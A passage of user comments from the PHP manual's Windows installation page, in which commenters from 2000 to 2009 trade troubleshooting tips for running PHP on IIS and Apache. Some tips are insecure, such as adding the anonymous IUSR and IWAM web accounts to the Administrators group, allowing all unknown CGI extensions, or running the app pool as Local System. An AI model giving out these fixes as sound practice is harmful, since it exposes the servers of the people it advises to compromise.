a. To be thorough and eliminate all possible sources of “mis-direction” I deleted the PHP IniFilePath Registry entry (after backing up the Registry).  The PHPRC environment variable was left disabled.
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not.
d. Ran "test.php".  Again, no change.  My php.ini file is not found “Configuration File (php.ini) Path” reports it as being there.

Conclusions:
The first conclusion I came to is that, in the default download version of phpinfo( ), “Configuration File (php.ini) Path” is hard-wired to report C:\WINDOWS whether php.ini is there or not.  Further, that C:\WINDOWS is not a default search location (at least not on XP).

However, given an otherwise “proper” setup, phpinfo() reporting C:\WINDOWS as the value for “Configuration File (php.ini) Path” is merely misleading and is not actually harmful or indicative of a failed installation.

Thanks go to Peter Guy of www.peterguy.com who suggested the testing, and to Daniel Brown of www.php.net for some initial guidance.

P.S.  This note is not meant to take anything away from PHP.  It is a fine tool.  The sole purpose of the testing was to confirm that my installation of PHP was correct.
Mark C in SF 13-Apr-2009 08:19
I hadn't installed PHP in years, used the PHP 5.2.9-2 installer.  Selected FastCGI on IIS, I just didn't work.  On both a w2k3 server and on a Vista laptop.

First, I forget to install from ZIP, as I had before.  I suggest a notice on the download page. The message "Use of the installer isn't the preferred method for installing PHP." is on the "Windows Installer (PHP 5.1.0 and earlier)" page.  Is that no longer true for "Windows Installer (PHP 5.2 and later)"?

Next, I found the recent Microsoft Web Platform Installer (WPI) at http://php.iis.net

It just works.  There are no config settings, it just installed FastCGI on IIS on the W2k3 server and on the Vista laptop.  Took a download+install of the WPI tool, and a few minutes for php install.

I'll likely never take a more careful look at what happened; for a production server I'll install manually. (or use Apache :))
brian dot twardzik at usask dot ca 07-Apr-2009 07:07
Been fighting with this for a while.

Installing PHP on IIS 6.0 using the ISAPI extension.

Note, if you have a web.config file present within the Virtual Directory folder, or otherwise configure the Virtual Directory to run ASP.NET scripts in a specific configuration...

IIS will ignore its ISAPI obligations to render your PHP script and then cite a 401.3 error, access denied based on ACL. If you have Integrated Windows Authentication turned on as a second authentication method, the web browser will prompt you for credentials. If you supply some, either from the local machine or from your domain, the website will suddenly work. This will also result in your website loading when you reference it via Localhost. Only works with Localhost, and does not work with any network-access IP.

Oddly enough, Anonymous impersonation will FAIL under these conditions! Why? I suspect it is because ASP.NET scripts run under the APPLICATION-POOL USERNAME CONTEXT. Once its kicked into that gear, any hope of using Anonymous user impersonation may go out the window.

References:
/*******************/
Impersonation in ASP.NET:

(Look up "Impersonation in ASP.NET (IIS 6.0)" on www.microsoft.com/Technet/ )

Developer.com Article Demonstrating how ASP.NET Runs under ApplicationPools:

http://www.developer.com/net/asp/article.php/2245511

/*******************/

This, to date, is my only theory.

Filemon/Process Mon will not register any kind of failed file access attempts, everything will appear normally. Even the presence of a BUFFER_OVERFLOW message is normal within the context of SYSINTERNALS traces...

But if you download the IIS 6.0 resource kit, pay attention specifically to IISTRACE.

Running IISTRACE and hitting your webserver will reveal that the PHP5ISAPI filter DLL is never called! Only the asp filter DLL.

The moral of your story? Keep web.config files out of your PHP directories!
rowoot at gmail dot com 31-Jul-2008 05:13
Here is a tutorial on how to get the latest
apache, php/mysql alongwith phpmyadmin installed
in windows vista/xp.

http://www.visionmasterdesigns.com/category/wp/php/

Regards
J Veitch {a} Computer Muskoka dot - calm 28-Jul-2008 02:58
On IIS7 and Vista I got errors using Appcmd to add the handlers. I also wasn't able to choose FastCGI when adding the handler in the IIS Manager GUI. Removal of CGI from IIS components, a reboot, and re-adding CGI to IIS components allowed selection of FastCGI in the GUI and made it possible to complete the configuration steps.

Here is a URL (note the complete URL is presented here as 2 lines) for another tutorial on the process with steps for both GUI and command line configuration: learn.iis.net/page.aspx/246/
using-fastcgi-to-host-php-applications-on-iis7/
php at vondi dot no-ip dot com 07-Jun-2008 08:44
If you get errors like this:
PHP Notice: Constant XML_ELEMENT_NODE already defined in Unknown on line 0

And many more complaining about XML constants, comment out the line:
extension=php_domxml.dll
in your php.ini. That extension seems to be compiled into PHP when you get those errors or something else is including the functionality before that dll.
badscorp at hotmail dot com 25-Feb-2008 09:22
My experience in running php 4 and php 5 on the same machine with IIS as ISAPI module (tested on XP Pro).

1- Extract the ZIP packages of both php 4 & php 5 to c:\php4 & c:\php5, each in its own folder.

2- Setup the corresponding php.ini files in c:\php4 and c:\php5, by renaming php.ini-dist to php.ini..

3- Add the Web Service Extensions for php4 and php5. For php4 use c:\php4\sapi\php4isapi.dll, php5 use c:\php5\php5isapi.dll..

4- Add the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\5\IniFilePath -> c:\php5

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath -> c:\php4

5- Add c:\php4 and c:\php5 to the PATH environment variable, separated by semis.

6- Create a session and an uploadtemp folders in any location, then add them in the session.save_path in bothe php ini files (there are two in php4?), and give IUSR_machinename write access to them.

7- Associate each web site in IIS with the corresponding php version.

8- Reboot..

Use phpinfo() to test it in each site.

Regards,,
Eduardo Bigai at xedco dot net 15-Jan-2008 05:40
If you get this error: "Service Unavailable" after installing PHP to a Windows XP x64 Pro, and you followed all the instructions posted in this page, you may want to try checking the ISAPI Filters in your IIS.

Make sure your a running the 32-bit version of the Microsoft.NET\Framework\v2.0.50727\aspnet_filter.dll.

If you are running the 64-bit version, you will notice that liested item in the ISAPI Filters has a red arrow pointing down. This means that the service failed to load. Delete this item from the list and add a new one. Make sure you use the one located here: %Windows%/Microsoft.NET\Framework\v2.*\aspnet_filter.dll.

Also make sure the permissions to your PHP folder have "NETWORK SERVICE", "IUSR_*", "SYSTEM" included.

I hope this helps you saving some precious time
sediaz at simpleonlinehelp dot com 08-Jan-2008 06:02
For those of you that would like visuals, there's a video tutorial that will help you get PHP5 installed on Windows 2K3 w/ IIS6.

It's pretty straight forward.

The link to the site, if you're interested, is:
http://www.videotutorialzone.com

The title is:
Installing PHP5 on Windows 2003 and IIS6

I hope this helps others as it did me.

Scott
smileclick at hotmail dot com 23-Dec-2007 04:02
Still Can't Run PHP Code?

After installing php-5.2.5-win32-installer.msi on my Windows XP2. with IIS5.1 it still didn't run PHP files.

I eventually found the fix*:

1. Goto Control Panel>System>Advanced>Environmental Variables
2. Add a New System Variable "PHRC" and set its path as "C:\Program Files\PHP"
3. Restart

*source:
http://us2.php.net/manual/en/faq.installation.php
#faq.installation.addtopath
robert dot johnson at icap dot com 13-Dec-2007 04:19
IIS setup: 403 forbidden error.

We had installed two separate different PHP versions - PHP 5.1.4 followed by 5.2.5.

We configured 5.2.5 php5isapi.dll to be loaded as the .php file type extension.

Despite this, php version 5.1.4 was being loaded.  We renamed 5.1.4's folder and then PHP was not loading at all.

There were no visible references to 5.1.4 in the IIS configuration, but in the file \webConfig.xml, there was a reference to 5.1.4's isapi under IISFilters.

To fix this problem, we added version 5.2.5's php5isapi.dll to the ISAPI Filter category for the web site, in the IIS control panel.
Philip Thompson 28-Nov-2007 08:13
If you use the installer for Windows (PHP >= 5.2.x) and you want the mysql_* functions to be used, you may have to restart your machine after you install.

I was getting the error "Call to undefined function mysql_connect..." However, I knew that my php.ini settings were correct and I was including php_mysql.dll. When I viewed phpinfo(), it was not showing that MySQL was part of the install. My first thought was to restart Apache - this did not change anything. So, then I restarted the machine, viewed phpinfo() again and it was now there.

I've manually installed several times on Windows and not had this problem. This was my first time running the installer. I think it may have something to do with setting registry values or changing environment variables. Nonetheless, hope this helps.
infortechpro at yahoo dot com 06-Nov-2007 11:00
Hello,

I had trouble setting up PHP 5 to work IIS 5 (Windows 2000).

I keep getting a HTTP 500 error.

I checked the php5isapi.dll file path, the permissions and all that but the error did not go way.

The way I got it to work was by adding the IUSR_(machine name) and IWAM_(machine name) account to the administrators group and restarting the computer.

I hope this helps someone out there.

Cheers.
snapper 22-Oct-2007 10:34
Regarding the "No input file specified." problem where 404 error pages aren't sent if the requested non-existent file ends in .php, this was helpful to me . . . http://www.phpbuilder.com/board/showthread.php?t=9212

In a nutshell:

In IIS Management Console (v5.1 in my case), select "Default Web Site", right-click and select "Properties", "Home Directory" tab, "Configuration..." under Application Settings, "Mappings" tab, select the line for the .php file extension, select "Edit" and check these two things:

1) ensure that executable C:\PHP\php5isapi.dll filename is not truncated
2) ensure there is a tick in the box next to "Check that file exists".

Click OK, OK, OK.

Cheers.
Uday Kari 30-Sep-2007 03:24
First I got a HTTP 405 error, resolving which I got an HTTP 404 error...read on for how this was fixed...

Environment:  PHP 5.2.4, IIS 6.0 ISAPI, Windows Server 2003.

Installation:  Simply downloaded the PHP 5.2.4 installer [22,002Kb] - 30 August 2007 and ran it doing next, next until Finish.

To get rid of 405 error, ensure that your php directory allows scripts.  Start->Control Panel->Administrative Tools->Internet Information Services-> (select website, navigate to directory with your php and right-click your directory) -> Properties -> Directory TAB -> Change Execute Permissions from "None" to "Scripts" (to allow PHP).

To get rid of 404 error, ensure that your executable mapping for the .php extension is properly coded.  Start->Control Panel->Administrative Tools->Internet Information Services-> (select web site) ->Properties->Home Directory->Configuration->Mapping and then change the Executable Path for .php files from C:\Program~\PHP\php5is~1.DLL (or whatever crazy path) to "C:\Program Files\PHP\php5isapi.dll"

(IMPORTANT: the quotes from c:\ to end of dll are important since the default install location, Program Files, has a space...in my youth I would yell "Stupid Microsoft"...but now I would more maturely just note that there is an inconsistency with the way that Paths are defined...in definingenvironment variables, for instance, such spaces are OK...).
Jack Hardie 08-Sep-2007 11:33
If you are installing PHP on Vista just go to David Wang's blog. http://blogs.msdn.com/david.wang/
archive/2006/06/21/HOWTO-Install-and-Run-PHP-on-IIS7-Part-2.aspx

Magic!
Ananda Sim 07-Aug-2007 02:00
I installed php 5.2.3 using the msi package to Windows XP SP2. First time, ISAPI choice defaulted to installing php to c:\program files\php. The IIS Manager > Websites > Home Directory > Extensions used the short filename. Didn't work - message was "module not found". I then removed and installed to c:\php. That worked easily.
fabrizio dot barbarino at uniud dot it 16-Jul-2007 12:23
In order to enable your x64 version of Windows 2003 Server executing the php*.dll through IIS, you can execute the script shown here:

http://technet2.microsoft.com/windowsserver/en/library/
36f8964c-cf86-44cf-94a4-2873ad0d175f1033.mspx?mfr=true

I've tested it with Windows 2003 Server x64 SP2 and PHP 5.2.3 and it works.

Good work,
Fabar
Jeremy Griffith 20-Jun-2007 08:46
If you have installed using the msi file, allowed it to configure IIS6 for you using the default directory, and are receiving a 404 error (specifically 404 2 error in your log file), then you need to modify the "application extension" for .php to include the full quoted path.  The default uses the old 8.3 convention which is not considered the same by IIS, and therefor the web extension isn't allowed.
imi at deltanet dot hr 06-Jun-2007 06:19
PHP 5.2.3 under IIS 5.1 (as ISAPI) and Windows XP

If you have trouble trying to get run the combination above using PHP installer please make sure that your executable path for .php file on IIS has been written correctly.

Start->Control Panel->Administrative Tools->Internet Information Services-> (then select your web site) ->Properties->Home Directory->Configuration->Mapping and then change the Executable Path for .php files from C:\PHP\php5is~1.DLL to C:\PHP\php5isapi.dll
jcwebb at dicoe dot com 16-May-2007 10:50
PHPv522 configuration considerations (php.ini) on Win3k(iis6)

cgi.force_redirect = 0
++ You MUST set this (its commented out by default)

two new settings are included...
session.save_path = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\php\session"
upload_tmp_dir = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\php\upload"
++ sessions will fail: $_SESSION['something'] unless you deal with permissions on the new location,
or simply comment out the session.save_path and go back to default "c:\windows\temp"
davideatarkehostdotnet 07-May-2007 04:16
i have encountered always the same problem installing php on windows 2003 (it always worked fine with w2k) "php has encountered an access violation at xxxx". tried php5.x and downgrade to php4.x without success. problem was solved only by giving r+w+e permission on php folder to user IIS_WPG
i_robot73 at hotmail dot com 23-Apr-2007 04:30
Running on Win2k3 x64 w/ IIS6.  Followed the BASIC setup (unzip, PHPRC, add extension to IIS) and still no go.

Wasn't until I enabled x86 that it 'popped':

cscript d:\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1

No security issues that needed fixing.  Test .php file came up like a champ!
christian dot ulbrich at gmx dot de 13-Jan-2007 08:15
I have an IIS 6.0 with PHP 5.2.0 as ISAPI-module. Installation went fine, using one of the numerous guides available, however I couldn't get my PHP to load any extensions!

It took me quite a while, to find the catch, it seems, that PHP 5.2.0 doesn't like the quotation marks " in some of its directory variables.

Thus, changing

extension_dir = "c:\php\ext\"

to

extension_dir = c:\php\ext\

did the trick for me...
john@ellingsworth 13-Nov-2006 02:06
Another cause of the "No input file specified" on systems with multiple hosts is that the doc_root setting in the php.ini file has been set to a specific directory.  When using IIS with multiple hosts in distinct top level directories you should comment the doc_root line out.
jneill at gamedaytv dot com 09-Nov-2006 02:36
Here's how to run dual PHP instances with PHP 5.2 and any previous PHP on Windows 2003:

1. Right-click My Computer, go to Advanced tab, and click on Environment Variables.

Add the two installations and their EXT directories to the Path variable. For example, add:
c:\php;c:\php\ext;c:\TMAS\php;c:\tmas\php\ext;

Then, add the newer PHP version's directory as a variable called PHPRC. For example:
Variable:PHPRC
Value: C:\PHP

Click OK to close the Environment Variables window, and click OK to close System Properties.

2. In registry, under HKEY_LOCAL_MACHINE>SOFTWARE>PHP, add a REG_SZ key called iniFilePath and give it a value
of the directory where the older PHP is installed. For example:
C:\TMAS\PHP

3. In IIS, go to the Web Service Extensions. Add both versions' ISAPI module separately to the extensions
list, and allow both.

4. In IIS, go to each website utilizing the PHP versions. Set an ISAPI filter if needed. On the Home Directory
tab, click Configuration, and add .php, .php3, .phtml, and any other extensions needed (perhaps .html?) to
be filtered through PHP, and specify the ISAPI module version needed for each website.

You can now run two versions of PHP. This is because the order of where to look for the .ini file changed
between previous PHP versions and PHP 5.2, as documented at http://us2.php.net/ini:

---------------------------------------------------
 php.ini is searched in these locations (in order):

    * SAPI module specific location (PHPIniDir directive in Apache 2, -c command line option in CGI and CLI, php_ini parameter in NSAPI, PHP_INI_PATH environment variable in THTTPD)
    * The PHPRC environment variable. Before PHP 5.2.0 this was checked after the registry key mentioned below.
    * HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath (Windows Registry location)
    * Current working directory (for CLI)
    * The web server's directory (for SAPI modules), or directory of PHP (otherwise in Windows)
    * Windows directory (C:\windows or C:\winnt) (for Windows), or --with-config-file-path compile time option
----------------------------------------------------
afitzs at for-finance dot com 08-Nov-2006 08:11
I have found the following procedure to work correctly EVERY time for installing PHP version 5.x.x on Windows 2003 servers. (I have done over 100 of these on Web, Standard & Enterprise)

1. Download the current PHP Zip file to a folder of your choosing.

2. Download the old Installer.exe (I use 5.0.2)

3. Run the installer and accept the defaults in all cases except the IIS server, choose IIS 6.0 or later. The installer will complain that a script map is not registered and ask you if you want to register it. SAY YES!!!

4. Run the installer a *second* time, using the same settings as above. This time instead of the complaint that a script is not registered you should see a black dos box open and then close. This is your clue that the install was successful.

5. Copy your PHP .zip file to c:\php and extract and overwrite all files from the regular installer.

6. Edit c:\windows\php.ini to enable any extensions you may need and to set the extension directory to c:/php/ext

All should be good to go. Test by running an info() from the web server.

I have used this install on over 100 installs of 2003/IIS web servers. Generally they have been virgin installs, but a few have had existing sites on them. Using the above method I am able to install PHP in under 2 min. Of course, these are windows systems thus your mileage may vary.

Note: I just tried to use the new .msi installer without success. Resorted to the above procedure and now have 5.2.0 running on the new server.

Note2: PHP powers that be, please make a copy of the old installer available again somewhere easily found by people. I would be screwed if I had not kept an archive copy of the 5.0 installer.
webmaster at nachelfamily dot com 08-Nov-2006 02:13
I made the mistake of setting a 'wildcard application map' for PHP on a Windows 2003 / IIS 6.0 / PHP ISAPI installation.

This resulted in "No input file specified" errors whenever I tried to load the default page in my site's directories.  I don't know why this broke things, but it did.

If anyone has the same problem, this may be the cause.
yacahuma 05-Oct-2006 09:44
IIS6 AND PHP5 on w2k3
1.download php and unzip to c:\php
   - also create c:\php\sessions
2.add c:\php to you path
   -right click mycomputer,properties,advance,env variables
2.On IIS Manager add web service extension
   -name: php isapi
   -req files: c:\php\php5isapi.dll
3.Now let iis know what to do with .php
  -On iis Manager,right click Web Sites, properties, home directory tab, configuration button, add button
     executable: c:\php\php5isapi.dll
     extension: .php
     limit to: GET,POST,HEAD
4. rename php.ini-recommended to php.ini
  you can copy php.ini to c:windows or modify the registry to look for php.ini in c:\php
   to use the registry create a php.reg file with the following inside. after this just double click. do not put the lines.
-------------------------------------------------
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\php"
-------------------------------------------------

5. modify php.ini with
short_open_tag = On
extension_dir = "c:\php\ext"
cgi.force_redirect = 0

6. the web sites are going to be using the default pool. this runs under network service. go to c:\php and give the network service  read& execute, list folder content,read
  -go to c:\php\sessions and add write and modify access network service
Cam McVey 20-Apr-2006 12:48
If you are using Application Pool Isolation and you're trying to get PHP to run as CGI and you're getting 403 errors, try looking at this article (watch the word wrap):
http://www.servertastic.com/articles/2005/11/
unable-to-run-perl-or-php-in-application-pool-isolation/
SmugWimp at smugwimp dot com 20-Apr-2006 11:29
If you make changes to your PHP.ini file, consider the following.

(I'm running IIS5 on W2K server. I don't know about 2K3)

PHP will not "take" the changes until the webserver is restarted, and that doesn't mean through the MMC.  Usually folks just reboot. But you can also use the following commands, for a much faster "turnaround".  At a command line prompt, type:

iisreset /stop

and that will stop the webserver service.  Then type:

net start w3svc

and that will start the webserver service again.  MUCH faster than a reboot, and you can check your changes faster as a result with the old:

<?php>
phpinfo();
?>

in your page somewhere.

I wish I could remember where I read this tip; it isn't anything I came up with...
ratkinson at tbs-ltd dot co dot uk 04-Apr-2006 02:28
When installing onto the Windows IIS platform, ensure you add the PHPRC Server Variable to point to your PHP.INI file.

Also, add '.INI' to the FILEEXT Server Variable. Failure to add these could stop the PHP engine being able to find your PHP.INI file, and none of your modifications will be read.

Rob.
niatech 01-Mar-2006 05:36
Thought someone would save some time and headaches by using this post.

Our tech department is migrating to Windows 2003 Server and they have some complex security implementations between our Web Servers and our Application (COM) servers.

If you have this type of scenario and are receiving the "Warning (null)(): Unable to lookup.... Access is denied." error, it is because the "Identity" in the Web Server's application pool does not have sufficient permissions to connect to the Application (COM) Server.

To fix this:

- create a new Application Pool
- right click the new pool and select "properties"
- click on the "Identity" tab
- change the permissions from "Network Service" to a user on the Web Server who has access to call the Application (COM) server.
- right click the application pool
- click "start"
- right click your web site
- click on the "Home Directory" tab
- change the application pool to the new application pool you've just created.
- restart IIS

Hopefully this will save someone some time and headaches.
mach 28-Feb-2006 03:15
I've installed Apache + PHP on a Windows machine of which I'm not an administrator.

I found out it was necessary to change the permissions of the httpd.conf file on C:\Program Files\Apache Group\Apache\conf in order to have everything working. Since I'm also using cygwin this was simply done with: >chmod 755 httpd.conf.
lukasz at szostak dot biz 15-Jan-2006 04:50
You can have multiple versions of PHP running on the same Apache server. I have seen many different solutions pointing at achieving this, but most of them required installing additional instances of Apache, redirecting ports/hosts, etc., which was not satisfying for me.
Finally, I have come up with the simplest solution I've seen so far, limited to reconfiguring Apache's httpd.conf.

My goal is to have PHP5 as the default scripting language for .php files in my DocumentRoot (which is in my case d:/htdocs), and PHP4 for specified DocumentRoot subdirectories.

Here it is (Apache's httpd.conf contents):

---------------------------
# replace with your PHP4 directory
ScriptAlias /php4/ "c:/usr/php4/"
# replace with your PHP5 directory
ScriptAlias /php5/ "c:/usr/php5/"

AddType application/x-httpd-php .php
Action application/x-httpd-php "/php5/php-cgi.exe"

# populate this for every directory with PHP4 code
<Directory "d:/htdocs/some_subdir">
    Action application/x-httpd-php "/php4/php.exe"
    # directory where your PHP4 php.ini file is located at
    SetEnv PHPRC "c:/usr/php4"
</Directory>

# remember to put this section below the above
<Directory "d:/htdocs">
    # directory where your PHP5 php.ini file is located at
    SetEnv PHPRC "c:/usr/php5"
</Directory>
---------------------------

This solution is not limited to having only two parallel versions of PHP. You can play with httpd.conf contents to have as many PHP versions configured as you want.
You can also use multiple php.ini configuration files for the same PHP version (but for different DocumentRoot subfolders), which might be useful in some cases.

Remember to put your php.ini files in directories specified in lines "SetEnv PHPRC...", and make sure that there's no php.ini files in other directories (such as c:\windows in Windows).

And finally, as you can see, I run PHP in CGI mode. This has its advantages and limitations. If you have to run PHP as Apache module, then... sorry - you have to use other solution (the best advice as always is: Google it!).

Hope this helps someone.
cormierma_at_csdcso.on.ca 21-Dec-2005 10:34
Note to windows server 2003 users

If you install php5 ISAPI on windows server 2003 / IIS and keep getting a 404 when you try to view a php script don`t just activate "all unknown ISAPI extensions" but also activate "All Unknown CGI Extensions".
Cevher Bozkur 13-Oct-2005 03:37
I've installed php 5.0.5 with the ISAPI module, as the isapi dll file (php5isapi.dll) resides in the php root directory, I didn't have trouble in my installation (In php4 this dll file is in sapi directory and it should be moved to php root directory).

I changed some of my settings in php.ini file and restart IIS Web site,but my changes weren't applied.

Then I go to Control Panel>Administrative Tools>Services and restart the IIS Admin Service.

Everything worked like a charm...
william keith 29-Sep-2005 12:51
Dirt Simple Install Guide For PHP5/W2K Servers

For those of us out there who still have 2K servers, this is a great 3 min step by step to get you up and running.

http://www.onlamp.com/pub/a/php/2000/12/14/php_admin.html

Thanks to it's author, Darrell Brogdon!
thedeadraptor2000 at yahoo dot com 30-Aug-2005 05:02
Note regarding PHP4 Installation on IIS5 + Win2K

Tip: Don't install PHP4 on Directories with spaces in between.

I've had problems Installing PHP 4.0.0 on IIS5, Win2k's default web server, spanish version (I live in Colombia). I've had HTTP 500 Errors and I followed all instructions step by step, but nothing seemed to work.

I solved the problem eventually, and I think it had something to do with the fact that I have installed PHP4 manually and placed it in the directory "C:\Archivos de programa\php-4.4.0-Win32" ('Archivos de programa' stands for 'Program Files'), a directory with spaces in between.

When I added the application mappings for "C:\Archivos de programa\php-4.4.0-Win32/sapi/php4isapi.php", An error would ocurr and a message along with it: "Escriba una ruta de acceso valida", as in "Write a valid access rute", as in "I can't find the file".

I thought i had it when I encapsulated it with Doublequotes ("), but that didn't work either.

As a final long shot, I copied the php4isapi.dll to the windows/system32 directory and 'WALA!' It worked.

I'm not sure, but i suspect that it had to do with spaces in between directory names, so avoid those, or copy the isapi module to another directory.

Hope this helps someone!
wappa at hotmail dotandthekangaroo com 05-Aug-2005 05:16
Don't forget if you are getting ACL exceptions to reading the test php page you have created you MUST share the PHP directory or the resources PHP uses to "everyone" but remember use restricted access for security.
jp at iticonsulting dot nl 23-Jul-2005 06:42
If you get 404 page not found on Windows/IIS5, have a look at C:\SYSTEM32\INETSRV\URLSCAN

There is a .ini file there that prevents some files from being served by IIS, even if they exist, instead IIS will give a 404. The urlscan logfile (same place) should give you some insight into what parameter is preventing a page from loading, if any.
Feroz Zahid 08-Jun-2005 10:41
In order to run php scripts with php.exe CGI instead of php4isapi.dll under IIS, following steps can be followed.

i) Add a web service extension for PHP using IIS manager. Choose a web service extension name like 'PHP' and add your php.exe path in the 'file location' while adding the required file e.g. 'C:\php\php.exe' in the Add extension dialog box. Don't forget to 'Allow' the extension file.

ii) Open php.ini file located at %systemroot%. Set the following variables to the shown values.

cgi.force_redirect = 0
cgi.redirect_status_env = ENV_VAR_NAME

iii) In your websites, add Application Mapping for '.php' and set the executable path to your php.exe file path.

You can test whether PHP is running or not and other PHP settings using the following simple PHP script.

<?php>
phpinfo();
?>

Feroz Zahid
ferozzahid [_at_] usa [_dot_] [_com_]
donald at netriver dot net 04-May-2005 10:21
On the Windows 2003 & IIS6 platform, you can run different websites on different versions & copies of PHP. This is useful in at least two cases:

  1. You want one website on your box to have register_globals on, but since you're running IIS, you cannot specify that in an .htaccess file. And you definately don't want register_globals on for the rest of the websites.
  2. You want to run different versions of PHP for different websites, or even just different extensions. Say you wanted one site to use 4.0.5 and a different site to use 4.1.11.

Its simple, just:
  1. Move your php.ini file from your c:\windows\ directory directly to your php directory (by default that would be c:\php\)
  2. Make sure you don't have a php.ini file in any other location that would supercede the c:\php\php.ini file. Using phpinfo(); is useful here.
  3. Have your alternate version of php (either a different version or a different php.ini) have its own install directory, like c:\php4RG\ or c:\php405\.
  4. In the Home Directory Configuration for your website, specify the .php extension to use a different script, pointing it at the alternate directory.
doyouunderstand at gmail dot com 04-Mar-2005 01:31
For those having trouble installing PHP 5+ ISAPI for IIS 6 (on Windows 2003 server), who have tried everything on this site and all over the net, with no success (like I did) - try the following before throwing your server out of a 3rd story window.

http://www.benmardesign.com/IIS_PHP_MYSQL_setup/php_setup.html

It was the only thing that worked out of all the many solutions I tried.

Probably some other solutions would've worked as well, but in my frusterated state of mind, this explanation was the clearest.

My problem was that in addition to adding the the Web service extension, I was not adding the ISAPI extensions for the websites in IIS Manager manaully.  ALSO, remember to reboot after the changes on the site listed above.  It's the only thing he forgot to mention, and depending on your setup, you may need to reboot to register the dll moves and changes made.  (IIS restart will not re-register dlls).
Steve N 02-Feb-2005 05:33
Just a note following on from Luis D regarding adding the pgp4ts.dll as a Web Server Extension.

I just used the latest php-4.3.10-installer.exe from php.net and had the problems where .php files could not be found.

In order to get them to work I added and allowed the php.exe as a Web Service Extension and not the php4tx.dll.

Cheers,

Steve
claudio_jvt at hotmail dot com 14-Jan-2005 01:38
One very helpfull note to Win2003 iis6 users:
If you'd like to use isapi in the web service extensions and you're in a development server (or even if your php.ini config file changes frequently), here's what you can do:

Php.ini runtime changes:
Create a new application pool in iis:
iis->select server->application pools->new application pool
                 Use default settings;
      go to the application pool you've created, properties->
    check the "Recycle worker process" option, and give it a small value (10 is nice :) ).

Now go to your site (or virtual directory site)-> properties->
change the application pool to the newly configured appPool.

At this moment, is good to make a iss restart (note this is the only resart needed).

Your site is now semi-runtime changed :)
You can try it with the usal php info() test. Change something in the php.ini and check the number of requests it takes to use the new configuration.

The downside of this approach (wich is still better than to use php-cgi.exe): the process is recycled, so all the configuration in php.ini is read every N requests - with php-cgi.exe, this would happen for every request, so.. is a good solution.

Again, be carefull when using this in a production environment, since the load can increase (not sure how much, but it will certainly increase).

And keep in the new appPool JUST the php sites that require runtime changes in php.ini !

------
You've helped me, so I help you ;)
Tks
chris at move dash media dot com 10-Jan-2005 01:39
Note to windows users, if you are trying to install php5 ISAPI on windows server 2003 / IIS and getting a 404 when you try to view a simple php script, even though everything else seems to be right...  click into "web service extensions" from IIS and either add a new web service extension, or click onto "all unknown ISAPI extensions" and click allow.
Sean Boulter 15-Apr-2004 11:00
This fixes the "The directory name is invalid" error.

In IIS 5.1 on Windows XP Pro, Go into the Internet Information Services, and into the properties of the virtual directory where the problem occurs.  On The 'Virtual Directory' tab, click on the 'Configuration...' button.  Select the '.php' extension, and press 'Edit'.  On the bottom, Check the 'Check that file exists' checkbox.
Luis D 27-Mar-2004 01:49
This is just to clarify on a posting on this page that states the nescesity of allowing all unknown cgi Extensions in Windows 2003 IIS 6. Although this will work and it should be consider as a quick option for an itranet solution with no web access at all.

This poses a very serious security problem and its not the best course of action, in my opinion.  The proper way of making this work will be to actually enable the extension that you want to execute.  After verifying that the .php extension is present, simply go to "Web Service extensions" in the IIS Manager and click on "Add a new web service extension";

Once the "new web service extension" opens:

1- Add the "extension name" field, please enter "PHP" (or what ever you wanna call it) Other more conservative admins will say call it what it is and always input ".php".  Its up to you!
2-Click on the "add" button and browse to the php4ts.dll file on your c:\PHP (default)  and then click open --> OK and set the checkmark under "set extension status to allowed" click OK and thats it!!!

If you missed the checkmark moment cause you are just so impatient, like me, then simply select the extension on the web service extensions windows and click ALLOW.

This is a very simple process and it will work everytime.

I hope this helps, as I have found several things in this forums that are incredibly helpfull!!

PS: For the non programmer, it is a good practice to install mysql and a free php forum like bb2 to test how well your php IIS and mysql is working.
ungdi at hotmail dot com 21-Jan-2004 10:36
Under a Windows 2003 and IIS 6.x installation of PHP, it is interesting to note that by default in most cases, the "DefaultAppPool" for the "Default Web Site" is running under the security context of "Network Service" which maybe too restrictive. This results in a 403: Forbidden error every time you try to access a PHP page.

You have several options to remedy the problem:
an obvious one is to make it run as the "Local System", but that may be too much power for some administrators' tastes.

The other option is at the IIS Manager,
go to the computer's "Application Pools" folder,
and go to the properties dialog box of the "DefaultAppPool",
and then to the "Identity" tab, and select the "Configurable" identity of "IWAM_[COMPUTER_NAME]" as the security context. This will make the application pool run the way it did in the previous versions.

This solved the repeated problems of the 403 errors. However, do not forget to give permission to "IUSR_[COMPUTER_NAME]" and "IWAM_[COMPUTER_NAME]" appropriate directory permissions for your web directories as stated above.
spf at users dot sf dot net 19-Aug-2002 05:55
To allow acWEB.sf.net win32-webserver and Eserv 2.98 (www.eserv.ru) web-server run PHP 4.2.2 without problems with FORCE_REDIRECT you should set "cgi.force_redirect = Off" in php.ini in windows directory.
adam dot swick at pantellos dot com 15-Mar-2002 06:36
IIS 5: If you change the application mappings for PHP (for example, from CGI to ISAPI module), reboot after the change is made.  The PHP Application Mapping change may cause a conflict if ISAPI applications are cached.
mike at schild dot com 01-Aug-2000 07:44
It's a hard way to get work php on win98/PWS... but with this comment-page I found it out how it works:<br>
- error 403: give read/write rights to the directory. You can do this by clicking the right mouse key on the directory in the explorer.<br>
- html file in a dos box: 1) clean the "doc_root" line in the php.ini file.   2) start personal web-manager / go to 'advanced' / make for your web-default-directory a virtual directory with all possible rights.<br>
On my system it works now!


Manual Installation Steps

This section contains instructions for manually installing and configuring PHP on Microsoft Windows.

Selecting and downloading the PHP distribution package

Download the PHP zip binary distribution from » PHP for Windows: Binaries and Sources. There are several different versions of the zip package - choose the version that is suitable for the web server being used:

  • If PHP is used with IIS then choose PHP 5.3 VC9 Non Thread Safe or PHP 5.2 VC6 Non Thread Safe;

  • If PHP is used with IIS7 or greater and PHP 5.3+, then the VC9 binaries of PHP should be used.

  • If PHP is used with Apache 1 or Apache 2 then choose PHP 5.3 VC6 or PHP 5.2 VC6.

Note:

